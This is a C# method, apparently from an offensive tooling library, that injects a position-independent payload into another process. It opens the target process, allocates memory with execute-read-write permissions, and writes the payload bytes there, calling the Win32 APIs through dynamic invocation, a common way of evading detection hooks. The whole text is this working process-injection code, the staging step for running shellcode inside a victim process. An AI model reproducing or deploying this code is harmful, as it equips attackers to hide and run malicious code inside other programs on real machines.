/// <summary>
/// Allocate the payload in the target process.
/// </summary>
/// <param name="Payload">The PIC payload to allocate to the target process.</param>
/// <param name="Process">The target process.</param>
/// <returns>Base address of allocated memory within the target process's virtual memory space.</returns>
///
public IntPtr Allocate(PICPayload Payload, Process Process)
{
if (!IsSupportedPayloadType(Payload))
{
throw new PayloadTypeNotSupported(Payload.GetType());
}
// Get a convenient handle for the target process.
IntPtr procHandle = DynamicInvoke.Win32.OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_OPERATION | Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_WRITE | Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_READ, false, (uint)Process.Id);
//create a IntPtr to return the base address of the allocated mem
IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(procHandle, IntPtr.Zero, (uint)Payload.Payload.Length, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_EXECUTE_READWRITE);
UIntPtr bytesWritten = UIntPtr.Zero;
Boolean success = DynamicInvoke.Win32.WriteProcessMemory(procHandle, alloc, Payload.Payload, (uint)Payload.Payload.Length, out bytesWritten);
if (success)
{
return(alloc);
}
else
{
throw new Exception("an error occured trying to write memory into the process.");
}
}
